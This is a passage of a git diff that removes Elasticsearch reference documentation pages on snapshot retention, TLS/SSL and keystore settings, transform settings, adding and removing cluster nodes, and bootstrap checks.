-`slm.retention_schedule`::
-(<<dynamic-cluster-setting,Dynamic>>, <<schedule-cron,cron scheduler value>>)
-Controls when the <<slm-retention,retention task>> runs.
-Can be a periodic or absolute time schedule.
-Supports all values supported by the <<schedule-cron,cron scheduler>>.
-Defaults to daily at 1:30am UTC: `0 30 1 * * ?`.
-
-[[slm-retention-duration]]
-`slm.retention_duration`::
-(<<dynamic-cluster-setting,Dynamic>>, <<time-units,time value>>)
-Limits how long {slm-init} should spend deleting old snapshots.
-Defaults to one hour: `1h`.
-
-[[repositories-url-allowed]]
-// tag::repositories-url-allowed[]
-`repositories.url.allowed_urls` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies the <<snapshots-read-only-repository,read-only URL repositories>> that snapshots can be restored from.
-// end::repositories-url-allowed[]
diff --git a/docs/reference/settings/ssl-settings.asciidoc b/docs/reference/settings/ssl-settings.asciidoc
deleted file mode 100644
index 9f88ea44a8f..00000000000
--- a/docs/reference/settings/ssl-settings.asciidoc
+++ /dev/null
@@ -1,189 +0,0 @@
-==== {component} TLS/SSL settings
-You can configure the following TLS/SSL settings.
-
-ifdef::server[]
-+{ssl-prefix}.ssl.enabled+::
-(<<static-cluster-setting,Static>>)
-Used to enable or disable TLS/SSL. The default is `false`.
-endif::server[]
-
-+{ssl-prefix}.ssl.supported_protocols+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-supported-protocols]
-
-ifdef::server[]
-+{ssl-prefix}.ssl.client_authentication+::
-(<<static-cluster-setting,Static>>)
-Controls the server's behavior in regard to requesting a certificate
-from client connections. Valid values are `required`, `optional`, and `none`.
-`required` forces a client to present a certificate, while `optional`
-requests a client certificate but the client is not required to present one.
-ifndef::client-auth-default[]
-Defaults to `none`.
-endif::client-auth-default[]
-ifdef::client-auth-default[]
-Defaults to +{client-auth-default}+.
-endif::client-auth-default[]
-endif::server[]
-
-ifdef::verifies[]
-+{ssl-prefix}.ssl.verification_mode+::
-(<<static-cluster-setting,Static>>)
-Controls the verification of certificates.
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-verification-mode-values]
-endif::verifies[]
-
-+{ssl-prefix}.ssl.cipher_suites+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-cipher-suites-values]
-
-[#{ssl-context}-tls-ssl-key-trusted-certificate-settings]
-===== {component} TLS/SSL key and trusted certificate settings
-
-The following settings are used to specify a private key, certificate, and the
-trusted certificates that should be used when communicating over an SSL/TLS connection.
-ifdef::server[]
-A private key and certificate must be configured.
-endif::server[]
-ifndef::server[]
-A private key and certificate are optional and would be used if the server requires client authentication for PKI
-authentication.
-endif::server[]
-
-===== PEM encoded files
-
-When using PEM encoded files, use the following settings:
-
-+{ssl-prefix}.ssl.key+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-pem]
-
-+{ssl-prefix}.ssl.key_passphrase+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-passphrase]
-
-+{ssl-prefix}.ssl.secure_key_passphrase+::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-secure-key-passphrase]
-
-+{ssl-prefix}.ssl.certificate+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate]
-
-+{ssl-prefix}.ssl.certificate_authorities+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate-authorities]
-
-===== Java keystore files
-
-When using Java keystore files (JKS), which contain the private key, certificate
-and certificates that should be trusted, use the following settings:
-
-+{ssl-prefix}.ssl.keystore.path+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-path]
-
-+{ssl-prefix}.ssl.keystore.password+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-password]
-
-+{ssl-prefix}.ssl.keystore.secure_password+::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-password]
-
-+{ssl-prefix}.ssl.keystore.key_password+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-key-password]
-
-+{ssl-prefix}.ssl.keystore.secure_key_password+::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-key-password]
-
-+{ssl-prefix}.ssl.truststore.path+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-path]
-
-+{ssl-prefix}.ssl.truststore.password+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-password]
-
-+{ssl-prefix}.ssl.truststore.secure_password+::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-secure-password]
-
-[#{ssl-context}-pkcs12-files]
-===== PKCS#12 files
-
-{es} can be configured to use PKCS#12 container files (`.p12` or `.pfx` files)
-that contain the private key, certificate and certificates that should be trusted.
-
-PKCS#12 files are configured in the same way as Java keystore files:
-
-+{ssl-prefix}.ssl.keystore.path+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-path]
-
-+{ssl-prefix}.ssl.keystore.type+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-type-pkcs12]
-
-+{ssl-prefix}.ssl.keystore.password+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-password]
-
-+{ssl-prefix}.ssl.keystore.secure_password+::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-password]
-
-+{ssl-prefix}.ssl.keystore.key_password+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-key-password]
-
-+{ssl-prefix}.ssl.keystore.secure_key_password+::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-key-password]
-
-+{ssl-prefix}.ssl.truststore.path+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-path]
-
-+{ssl-prefix}.ssl.truststore.type+::
-(<<static-cluster-setting,Static>>)
-Set this to `PKCS12` to indicate that the truststore is a PKCS#12 file.
-//TBD:Should this use the ssl-truststore-type-pkcs11 or ssl-truststore-type definition and default values?
-
-+{ssl-prefix}.ssl.truststore.password+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-password]
-
-+{ssl-prefix}.ssl.truststore.secure_password+::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-secure-password]
-
-[#{ssl-context}-pkcs11-tokens]
-===== PKCS#11 tokens
-
-{es} can be configured to use a PKCS#11 token that contains the private key,
-certificate and certificates that should be trusted.
-
-PKCS#11 token require additional configuration on the JVM level and can be enabled
-via the following settings:
-
-+{ssl-prefix}.keystore.type+::
-(<<static-cluster-setting,Static>>)
-Set this to `PKCS11` to indicate that the PKCS#11 token should be used as a keystore.
-//TBD: Is the default value `jks`?
-
-+{ssl-prefix}.truststore.type+::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-type-pkcs11]
-
-[NOTE]
-When configuring the PKCS#11 token that your JVM is configured to use as
-a keystore or a truststore for Elasticsearch, the PIN for the token can be
-configured by setting the appropriate value to `ssl.truststore.password`
-or `ssl.truststore.secure_password` in the context that you are configuring.
-Since there can only be one PKCS#11 token configured, only one keystore and
-truststore will be usable for configuration in {es}. This in turn means
-that only one certificate can be used for TLS both in the transport and the
-http layer.
diff --git a/docs/reference/settings/transform-settings.asciidoc b/docs/reference/settings/transform-settings.asciidoc
deleted file mode 100644
index fc9dc95f991..00000000000
--- a/docs/reference/settings/transform-settings.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
-
-[role="xpack"]
-[[transform-settings]]
-=== {transforms-cap}  settings in Elasticsearch
-[subs="attributes"]
-++++
-<titleabbrev>{transforms-cap} settings</titleabbrev>
-++++
-
-You do not need to configure any settings to use {transforms}. It is enabled by
-default.
-
-[discrete]
-[[general-transform-settings]]
-==== General {transforms} settings
-
-`node.roles: [ transform ]`::
-(<<static-cluster-setting,Static>>) Set `node.roles` to contain `transform` to
-identify the node as a _transform node_. If you use the default settings for a
-node, it does not have the `transform` role.
-+
-If a node doesn't have this role, the node cannot run transforms. If you want to 
-run transforms, there must be at least one transform node in your cluster.
-+
-If you use the `node.roles` setting, all required roles must be explicitly set.
-Consult <<modules-node>> to learn more.
-
-`xpack.transform.enabled`::
-deprecated:[7.8.0,Basic License features should always be enabled]
-(<<static-cluster-setting,Static>>) This deprecated setting no longer has any
-effect.
-
-`xpack.transform.num_transform_failure_retries`::
-(<<cluster-update-settings,Dynamic>>) The number of times that a {transform}
-retries when it experiences a non-fatal error. Once the number of retries is
-exhausted, the {transform} task is marked as `failed`. The default value is `10`
-with a valid minimum of `0` and maximum of `100`. If a {transform} is already
-running, it has to be restarted to use the changed setting.
diff --git a/docs/reference/setup.asciidoc b/docs/reference/setup.asciidoc
deleted file mode 100644
index 39b09309462..00000000000
--- a/docs/reference/setup.asciidoc
+++ /dev/null
@@ -1,126 +0,0 @@
-[[setup]]
-= Set up {es}
-
-[partintro]
---
-This section includes information on how to setup Elasticsearch and get it
-running, including:
-
-* Downloading
-* Installing
-* Starting
-* Configuring
-
-[[supported-platforms]]
-[discrete]
-== Supported platforms
-
-The matrix of officially supported operating systems and JVMs is available here:
-link:/support/matrix[Support Matrix]. Elasticsearch is tested on the listed
-platforms, but it is possible that it will work on other platforms too.
-
-[discrete]
-[[jvm-version]]
-== Java (JVM) Version
-
-Elasticsearch is built using Java, and includes a bundled version of
-https://openjdk.java.net[OpenJDK] from the JDK maintainers (GPLv2+CE)
-within each distribution. The bundled JVM is the recommended JVM and
-is located within the `jdk` directory of the Elasticsearch home directory.
-
-To use your own version of Java, set the `JAVA_HOME` environment variable.
-If you must use a version of Java that is different from the bundled JVM,
-we recommend using a link:/support/matrix[supported]
-https://www.oracle.com/technetwork/java/eol-135779.html[LTS version of Java].
-Elasticsearch will refuse to start if a known-bad version of Java is used.
-The bundled JVM directory may be removed when using your own JVM.
-
---
-
-include::setup/install.asciidoc[]
-
-include::setup/configuration.asciidoc[]
-
-include::setup/jvm-options.asciidoc[]
-
-include::setup/secure-settings.asciidoc[]
-
-include::settings/audit-settings.asciidoc[]
-
-include::modules/indices/circuit_breaker.asciidoc[]
-
-include::modules/cluster.asciidoc[]
-
-include::settings/ccr-settings.asciidoc[]
-
-include::modules/discovery/discovery-settings.asciidoc[]
-
-include::modules/indices/fielddata.asciidoc[]
-
-include::modules/http.asciidoc[]
-
-include::settings/ilm-settings.asciidoc[]
-
-include::modules/indices/index_management.asciidoc[]
-
-include::modules/indices/recovery.asciidoc[]
-
-include::modules/indices/indexing_buffer.asciidoc[]
-
-include::settings/license-settings.asciidoc[]
-
-include::modules/gateway.asciidoc[]
-
-include::setup/logging-config.asciidoc[]
-
-include::settings/ml-settings.asciidoc[]
-
-include::settings/monitoring-settings.asciidoc[]
-
-include::modules/node.asciidoc[]
-
-include::modules/network.asciidoc[]
-
-include::modules/indices/query_cache.asciidoc[]
-
-include::modules/indices/search-settings.asciidoc[]
-
-include::settings/security-settings.asciidoc[]
-
-include::modules/indices/request_cache.asciidoc[]
-
-include::settings/slm-settings.asciidoc[]
-
-include::settings/transform-settings.asciidoc[]
-
-include::modules/transport.asciidoc[]
-
-include::modules/threadpool.asciidoc[]
-
-include::settings/notification-settings.asciidoc[]
-
-include::setup/important-settings.asciidoc[]
-
-include::setup/sysconfig.asciidoc[]
-
-include::setup/bootstrap-checks.asciidoc[]
-
-include::setup/bootstrap-checks-xes.asciidoc[]
-
-include::setup/starting.asciidoc[]
-
-include::setup/stopping.asciidoc[]
-
-include::modules/discovery.asciidoc[]
-
-include::setup/add-nodes.asciidoc[]
-
-include::setup/restart-cluster.asciidoc[]
-
-include::modules/remote-clusters.asciidoc[]
-
-include::setup/setup-xes.asciidoc[]
-
-include::setup/setup-xclient.asciidoc[]
-
-include::modules/plugins.asciidoc[]
diff --git a/docs/reference/setup/add-nodes.asciidoc b/docs/reference/setup/add-nodes.asciidoc
deleted file mode 100644
index 11912abeffa..00000000000
--- a/docs/reference/setup/add-nodes.asciidoc
+++ /dev/null
@@ -1,179 +0,0 @@
-[[add-elasticsearch-nodes]]
-== Add and remove nodes in your cluster
-
-When you start an instance of {es}, you are starting a _node_. An {es} _cluster_
-is a group of nodes that have the same `cluster.name` attribute. As nodes join
-or leave a cluster, the cluster automatically reorganizes itself to evenly
-distribute the data across the available nodes.
-
-If you are running a single instance of {es}, you have a cluster of one node.
-All primary shards reside on the single node. No replica shards can be
-allocated, therefore the cluster state remains yellow. The cluster is fully
-functional but is at risk of data loss in the event of a failure.
-
-image::setup/images/elas_0202.png["A cluster with one node and three primary shards"]
-
-You add nodes to a cluster to increase its capacity and reliability. By default,
-a node is both a data node and eligible to be elected as the master node that
-controls the cluster. You can also configure a new node for a specific purpose,
-such as handling ingest requests. For more information, see
-<<modules-node,Nodes>>.
-
-When you add more nodes to a cluster, it automatically allocates replica shards.
-When all primary and replica shards are active, the cluster state changes to
-green.
-
-image::setup/images/elas_0204.png["A cluster with three nodes"]
-
-You can run multiple nodes on your local machine in order to experiment with how
-an {es} cluster of multiple nodes behaves. To add a node to a cluster running on
-your local machine:
-
-. Set up a new {es} instance.
-. Specify the name of the cluster with the `cluster.name` setting in
-`elasticsearch.yml`. For example, to add a node to the `logging-prod` cluster,
-add the line `cluster.name: "logging-prod"` to `elasticsearch.yml`.
-. Start {es}. The node automatically discovers and joins the specified cluster.
-
-To add a node to a cluster running on multiple machines, you must also
-<<unicast.hosts,set `discovery.seed_hosts`>> so that the new node can discover
-the rest of its cluster.
-
-For more information about discovery and shard allocation, see
-<<modules-discovery>> and <<modules-cluster>>.
-
-[discrete]
-[[add-elasticsearch-nodes-master-eligible]]
-=== Master-eligible nodes
-
-As nodes are added or removed Elasticsearch maintains an optimal level of fault
-tolerance by automatically updating the cluster's _voting configuration_, which
-is the set of <<master-node,master-eligible nodes>> whose responses are counted
-when making decisions such as electing a new master or committing a new cluster
-state.
-
-It is recommended to have a small and fixed number of master-eligible nodes in a
-cluster, and to scale the cluster up and down by adding and removing
-master-ineligible nodes only. However there are situations in which it may be
-desirable to add or remove some master-eligible nodes to or from a cluster.
-
-[discrete]
-[[modules-discovery-adding-nodes]]
-==== Adding master-eligible nodes
-
-If you wish to add some nodes to your cluster, simply configure the new nodes
-to find the existing cluster and start them up. Elasticsearch adds the new nodes
-to the voting configuration if it is appropriate to do so.
-
-During master election or when joining an existing formed cluster, a node
-sends a join request to the master in order to be officially added to the
-cluster.
-
-[discrete]
-[[modules-discovery-removing-nodes]]
-==== Removing master-eligible nodes
-
-When removing master-eligible nodes, it is important not to remove too many all
-at the same time. For instance, if there are currently seven master-eligible
-nodes and you wish to reduce this to three, it is not possible simply to stop
-four of the nodes at once: to do so would leave only three nodes remaining,
-which is less than half of the voting configuration, which means the cluster
-cannot take any further actions.
-
-More precisely, if you shut down half or more of the master-eligible nodes all
-at the same time then the cluster will normally become unavailable. If this
-happens then you can bring the cluster back online by starting the removed
-nodes again.
-
-As long as there are at least three master-eligible nodes in the cluster, as a
-general rule it is best to remove nodes one-at-a-time, allowing enough time for
-the cluster to <<modules-discovery-quorums,automatically adjust>> the voting
-configuration and adapt the fault tolerance level to the new set of nodes.
-
-If there are only two master-eligible nodes remaining then neither node can be
-safely removed since both are required to reliably make progress. To remove one
-of these nodes you must first inform {es} that it should not be part of the
-voting configuration, and that the voting power should instead be given to the
-other node. You can then take the excluded node offline without preventing the
-other node from making progress. A node which is added to a voting
-configuration exclusion list still works normally, but {es} tries to remove it
-from the voting configuration so its vote is no longer required. Importantly,
-{es} will never automatically move a node on the voting exclusions list back
-into the voting configuration. Once an excluded node has been successfully
-auto-reconfigured out of the voting configuration, it is safe to shut it down
-without affecting the cluster's master-level availability. A node can be added
-to the voting configuration exclusion list using the
-<<voting-config-exclusions>> API. For example:
-
-[source,console]
---------------------------------------------------
-# Add node to voting configuration exclusions list and wait for the system
-# to auto-reconfigure the node out of the voting configuration up to the
-# default timeout of 30 seconds
-POST /_cluster/voting_config_exclusions?node_names=node_name
-
-# Add node to voting configuration exclusions list and wait for
-# auto-reconfiguration up to one minute
-POST /_cluster/voting_config_exclusions?node_names=node_name&timeout=1m
---------------------------------------------------
-// TEST[skip:this would break the test cluster if executed]
-
-The nodes that should be added to the exclusions list are specified by name
-using the `?node_names` query parameter, or by their persistent node IDs using
-the `?node_ids` query parameter. If a call to the voting configuration
-exclusions API fails, you can safely retry it. Only a successful response
-guarantees that the node has actually been removed from the voting configuration
-and will not be reinstated. If the elected master node is excluded from the
-voting configuration then it will abdicate to another master-eligible node that
-is still in the voting configuration if such a node is available.
-
-Although the voting configuration exclusions API is most useful for down-scaling
-a two-node to a one-node cluster, it is also possible to use it to remove
-multiple master-eligible nodes all at the same time. Adding multiple nodes to
-the exclusions list has the system try to auto-reconfigure all of these nodes
-out of the voting configuration, allowing them to be safely shut down while
-keeping the cluster available. In the example described above, shrinking a
-seven-master-node cluster down to only have three master nodes, you could add
-four nodes to the exclusions list, wait for confirmation, and then shut them
-down simultaneously.
-
-NOTE: Voting exclusions are only required when removing at least half of the
-master-eligible nodes from a cluster in a short time period. They are not
-required when removing master-ineligible nodes, nor are they required when
-removing fewer than half of the master-eligible nodes.
-
-Adding an exclusion for a node creates an entry for that node in the voting
-configuration exclusions list, which has the system automatically try to
-reconfigure the voting configuration to remove that node and prevents it from
-returning to the voting configuration once it has removed. The current list of
-exclusions is stored in the cluster state and can be inspected as follows:
-
-[source,console]
---------------------------------------------------
-GET /_cluster/state?filter_path=metadata.cluster_coordination.voting_config_exclusions
---------------------------------------------------
-
-This list is limited in size by the `cluster.max_voting_config_exclusions` 
-setting, which defaults to `10`. See <<modules-discovery-settings>>. Since
-voting configuration exclusions are persistent and limited in number, they must
-be cleaned up. Normally an exclusion is added when performing some maintenance
-on the cluster, and the exclusions should be cleaned up when the maintenance is
-complete. Clusters should have no voting configuration exclusions in normal
-operation.
-
-If a node is excluded from the voting configuration because it is to be shut
-down permanently, its exclusion can be removed after it is shut down and removed
-from the cluster. Exclusions can also be cleared if they were created in error
-or were only required temporarily by specifying `?wait_for_removal=false`.
-
-[source,console]
---------------------------------------------------
-# Wait for all the nodes with voting configuration exclusions to be removed from
-# the cluster and then remove all the exclusions, allowing any node to return to
-# the voting configuration in the future.
-DELETE /_cluster/voting_config_exclusions
-
-# Immediately remove all the voting configuration exclusions, allowing any node
-# to return to the voting configuration in the future.
-DELETE /_cluster/voting_config_exclusions?wait_for_removal=false
---------------------------------------------------
diff --git a/docs/reference/setup/bootstrap-checks-xes.asciidoc b/docs/reference/setup/bootstrap-checks-xes.asciidoc
deleted file mode 100644
index 99cc8fbfbb2..00000000000
--- a/docs/reference/setup/bootstrap-checks-xes.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
-[role="xpack"]
-[[bootstrap-checks-xpack]]
-== Bootstrap Checks for {xpack}
-
-In addition to the <<bootstrap-checks,{es} bootstrap checks>>, there are
-checks that are specific to {xpack} features.
-
-[discrete]
-=== Encrypt sensitive data check
-//See EncryptSensitiveDAtaBootstrapCheck.java
-
-If you use {watcher} and have chosen to encrypt sensitive data (by setting
-`xpack.watcher.encrypt_sensitive_data` to `true`), you must also place a key in
-the secure settings store.
-
-To pass this bootstrap check, you must set the `xpack.watcher.encryption_key`
-on each node in the cluster. For more information, see <<encrypting-data>>.
-
-[discrete]
-=== PKI realm check
-//See PkiRealmBootstrapCheckTests.java
-
-If you use {es} {security-features} and a Public Key Infrastructure (PKI) realm,
-you must configure Transport Layer Security (TLS) on your cluster and enable
-client authentication on the network layers (either transport or http). For more
-information, see <<pki-realm>> and <<ssl-tls>>.
-
-To pass this bootstrap check, if a PKI realm is enabled, you must configure TLS
-and enable client authentication on at least one network communication layer.
-
-[discrete]
-=== Role mappings check
-
-If you authenticate users with realms other than `native` or `file` realms, you
-must create role mappings. These role mappings define which roles are assigned
-to each user.
-
-If you use files to manage the role mappings, you must configure a YAML file
-and copy it to each node in the cluster. By default, role mappings are stored in
-`ES_PATH_CONF/role_mapping.yml`. Alternatively, you can specify a
-different role mapping file for each type of realm and specify its location in
-the `elasticsearch.yml` file. For more information, see
-<<mapping-roles-file>>.
-
-To pass this bootstrap check, the role mapping files must exist and must be
-valid. The Distinguished Names (DNs) that are listed in the role mappings files
-must also be valid.
-
-[discrete]
-[[bootstrap-checks-tls]]
-=== SSL/TLS check
-//See TLSLicenseBootstrapCheck.java
-
-If you enable {es} {security-features}, unless you have a trial license, you 
-must configure SSL/TLS for internode-communication.
-
-NOTE: Single-node clusters that use a loopback interface do not have this
-requirement.  For more information, see
-<<encrypting-communications>>.
-
-To pass this bootstrap check, you must
-<<ssl-tls,set up SSL/TLS in your cluster>>.
-
-
-[discrete]
-=== Token SSL check
-//See TokenSSLBootstrapCheckTests.java
-
-If you use {es} {security-features} and the built-in token service is enabled,
-you must configure your cluster to use SSL/TLS for the HTTP interface. HTTPS is
-required in order to use the token service.
-
-In particular, if `xpack.security.authc.token.enabled` is
-set to `true` in the `elasticsearch.yml` file, you must also set
-`xpack.security.http.ssl.enabled` to `true`. For more information about these
-settings, see <<security-settings>> and <<modules-http>>.
-
-To pass this bootstrap check, you must enable HTTPS or disable the built-in
-token service.
diff --git a/docs/reference/setup/bootstrap-checks.asciidoc b/docs/reference/setup/bootstrap-checks.asciidoc
deleted file mode 100644
index 74269f7d49c..00000000000
--- a/docs/reference/setup/bootstrap-checks.asciidoc
+++ /dev/null
@@ -1,258 +0,0 @@
-[[bootstrap-checks]]
-== Bootstrap Checks
-
-Collectively, we have a lot of experience with users suffering
-unexpected issues because they have not configured
-<<important-settings,important settings>>. In previous versions of
-Elasticsearch, misconfiguration of some of these settings were logged
-as warnings. Understandably, users sometimes miss these log messages.
-To ensure that these settings receive the attention that they deserve,
-Elasticsearch has bootstrap checks upon startup.
-
-These bootstrap checks inspect a variety of Elasticsearch and system
-settings and compare them to values that are safe for the operation of
-Elasticsearch. If Elasticsearch is in development mode, any bootstrap
-checks that fail appear as warnings in the Elasticsearch log. If
-Elasticsearch is in production mode, any bootstrap checks that fail will
-cause Elasticsearch to refuse to start.
-
-There are some bootstrap checks that are always enforced to prevent
-Elasticsearch from running with incompatible settings. These checks are
-documented individually.
-
-[discrete]
-[[dev-vs-prod-mode]]
-=== Development vs. production mode
-
-By default, Elasticsearch binds to loopback addresses for <<modules-http,HTTP>>
-and <<modules-transport,transport (internal)>> communication. This is fine for
-downloading and playing with Elasticsearch as well as everyday development, but
-it's useless for production systems. To join a cluster, an Elasticsearch node
-must be reachable via transport communication. To join a cluster via a
-non-loopback address, a node must bind transport to a non-loopback address and
-not be using <<single-node-discovery,single-node discovery>>. Thus, we consider
-an Elasticsearch node to be in development mode if it can not form a cluster
-with another machine via a non-loopback address, and is otherwise in production
-mode if it can join a cluster via non-loopback addresses.
-
-Note that HTTP and transport can be configured independently via
-<<modules-http,`http.host`>> and <<modules-transport,`transport.host`>>; this
-can be useful for configuring a single node to be reachable via HTTP for testing
-purposes without triggering production mode.
-
-[[single-node-discovery]]
-[discrete]
-=== Single-node discovery
-We recognize that some users need to bind transport to an external interface for
-testing their usage of the transport client. For this situation, we provide the
-discovery type `single-node` (configure it by setting `discovery.type` to
-`single-node`); in this situation, a node will elect itself master and will not
-join a cluster with any other node.
-
-
-[discrete]
-=== Forcing the bootstrap checks
-If you are running a single node in production, it is possible to evade the
-bootstrap checks (either by not binding transport to an external interface, or
-by binding transport to an external interface and setting the discovery type to
-`single-node`). For this situation, you can force execution of the bootstrap
-checks by setting the system property `es.enforce.bootstrap.checks` to `true`
-(set this in <<jvm-options>>, or by adding `-Des.enforce.bootstrap.checks=true`
-to the environment variable `ES_JAVA_OPTS`). We strongly encourage you to do
-this if you are in this specific situation. This system property can be used to
-force execution of the bootstrap checks independent of the node configuration.
-
-=== Heap size check
-
-If a JVM is started with unequal initial and max heap size, it can be
-prone to pauses as the JVM heap is resized during system usage. To avoid
-these resize pauses, it's best to start the JVM with the initial heap
-size equal to the maximum heap size. Additionally, if
-<<bootstrap-memory_lock,`bootstrap.memory_lock`>> is enabled, the JVM
-will lock the initial size of the heap on startup. If the initial heap
-size is not equal to the maximum heap size, after a resize it will not
-be the case that all of the JVM heap is locked in memory. To pass the
-heap size check, you must configure the <<heap-size,heap size>>.
-
-=== File descriptor check
-
-File descriptors are a Unix construct for tracking open "files". In Unix
-though, {wikipedia}/Everything_is_a_file[everything is
-a file]. For example, "files" could be a physical file, a virtual file
-(e.g., `/proc/loadavg`), or network sockets. Elasticsearch requires
-lots of file descriptors (e.g., every shard is composed of multiple
-segments and other files, plus connections to other nodes, etc.). This
-bootstrap check is enforced on OS X and Linux. To pass the file
-descriptor check, you might have to configure <<file-descriptors,file
-descriptors>>.
-
-=== Memory lock check
-
-When the JVM does a major garbage collection it touches every page of
-the heap. If any of those pages are swapped out to disk they will have
-to be swapped back in to memory. That causes lots of disk thrashing that
-Elasticsearch would much rather use to service requests. There are
-several ways to configure a system to disallow swapping. One way is by
-requesting the JVM to lock the heap in memory through `mlockall` (Unix)
-or virtual lock (Windows). This is done via the Elasticsearch setting
-<<bootstrap-memory_lock,`bootstrap.memory_lock`>>. However, there are
-cases where this setting can be passed to Elasticsearch but
-Elasticsearch is not able to lock the heap (e.g., if the `elasticsearch`
-user does not have `memlock unlimited`). The memory lock check verifies
-that *if* the `bootstrap.memory_lock` setting is enabled, that the JVM
-was successfully able to lock the heap. To pass the memory lock check,
-you might have to configure <<bootstrap-memory_lock,`bootstrap.memory_lock`>>.
-
-[[max-number-threads-check]]
-=== Maximum number of threads check
-
-Elasticsearch executes requests by breaking the request down into stages
-and handing those stages off to different thread pool executors. There
-are different <<modules-threadpool,thread pool executors>> for a variety
-of tasks within Elasticsearch. Thus, Elasticsearch needs the ability to
-create a lot of threads. The maximum number of threads check ensures
-that the Elasticsearch process has the rights to create enough threads
-under normal use. This check is enforced only on Linux. If you are on
-Linux, to pass the maximum number of threads check, you must configure
-your system to allow the Elasticsearch process the ability to create at
-least 4096 threads. This can be done via `/etc/security/limits.conf`
-using the `nproc` setting (note that you might have to increase the
-limits for the `root` user too).
-
-=== Max file size check
-
-The segment files that are the components of individual shards and the translog
-generations that are components of the translog can get large (exceeding
-multiple gigabytes). On systems where the max size of files that can be created
-by the Elasticsearch process is limited, this can lead to failed
-writes. Therefore, the safest option here is that the max file size is unlimited
-and that is what the max file size bootstrap check enforces. To pass the max
-file check, you must configure your system to allow the Elasticsearch process
-the ability to write files of unlimited size. This can be done via
-`/etc/security/limits.conf` using the `fsize` setting to `unlimited` (note that
-you might have to increase the limits for the `root` user too).
-
-[[max-size-virtual-memory-check]]
-=== Maximum size virtual memory check
-
-Elasticsearch and Lucene use `mmap` to great effect to map portions of
-an index into the Elasticsearch address space. This keeps certain index
-data off the JVM heap but in memory for blazing fast access. For this to
-be effective, the Elasticsearch should have unlimited address space. The
-maximum size virtual memory check enforces that the Elasticsearch
-process has unlimited address space and is enforced only on Linux. To
-pass the maximum size virtual memory check, you must configure your
-system to allow the Elasticsearch process the ability to have unlimited
-address space. This can be done via adding `<user> - as unlimited`
-to `/etc/security/limits.conf`. This may require you to increase the limits
-for the `root` user too.
-
-=== Maximum map count check
-
-Continuing from the previous <<max-size-virtual-memory-check,point>>, to
-use `mmap` effectively, Elasticsearch also requires the ability to
-create many memory-mapped areas. The maximum map count check checks that
-the kernel allows a process to have at least 262,144 memory-mapped areas
-and is enforced on Linux only. To pass the maximum map count check, you
-must configure `vm.max_map_count` via `sysctl` to be at least `262144`.
-
-Alternatively, the maximum map count check is only needed if you are using
-`mmapfs` or `hybridfs` as the <<index-modules-store,store type>> for your
-indices. If you <<allow-mmap,do not allow>> the use of `mmap` then this
-bootstrap check will not be enforced.
-
-=== Client JVM check
-
-There are two different JVMs provided by OpenJDK-derived JVMs: the
-client JVM and the server JVM. These JVMs use different compilers for
-producing executable machine code from Java bytecode. The client JVM is
-tuned for startup time and memory footprint while the server JVM is
-tuned for maximizing performance. The difference in performance between
-the two VMs can be substantial. The client JVM check ensures that
-Elasticsearch is not running inside the client JVM. To pass the client
-JVM check, you must start Elasticsearch with the server VM. On modern
-systems and operating systems, the server VM is the
-default.
-
-=== Use serial collector check
-
-There are various garbage collectors for the OpenJDK-derived JVMs
-targeting different workloads. The serial collector in particular is
-best suited for single logical CPU machines or extremely small heaps,
-neither of which are suitable for running Elasticsearch. Using the
-serial collector with Elasticsearch can be devastating for performance.
-The serial collector check ensures that Elasticsearch is not configured
-to run with the serial collector. To pass the serial collector check,
-you must not start Elasticsearch with the serial collector (whether it's
-from the defaults for the JVM that you're using, or you've explicitly
-specified it with `-XX:+UseSerialGC`). Note that the default JVM
-configuration that ships with Elasticsearch configures Elasticsearch to
-use the G1GC garbage collector with JDK14 and later versions. For earlier
